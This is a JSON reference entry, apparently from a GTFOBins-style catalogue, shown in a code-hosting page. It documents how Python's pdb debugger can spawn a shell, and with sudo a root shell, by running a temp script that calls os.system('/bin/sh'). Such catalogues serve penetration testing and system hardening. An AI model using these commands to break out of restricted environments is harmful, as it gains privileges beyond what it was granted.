You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
15 lines
378 B
JSON
15 lines
378 B
JSON
{
|
|
"description": "This allows to execute Python code, other functions may apply.",
|
|
"functions": {
|
|
"shell": [
|
|
{
|
|
"code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\npdb $TF\ncont\n"
|
|
}
|
|
],
|
|
"sudo": [
|
|
{
|
|
"code": "TF=$(mktemp)\necho 'import os; os.system(\"/bin/sh\")' > $TF\nsudo pdb $TF\ncont\n"
|
|
}
|
|
]
|
|
}
|
|
} |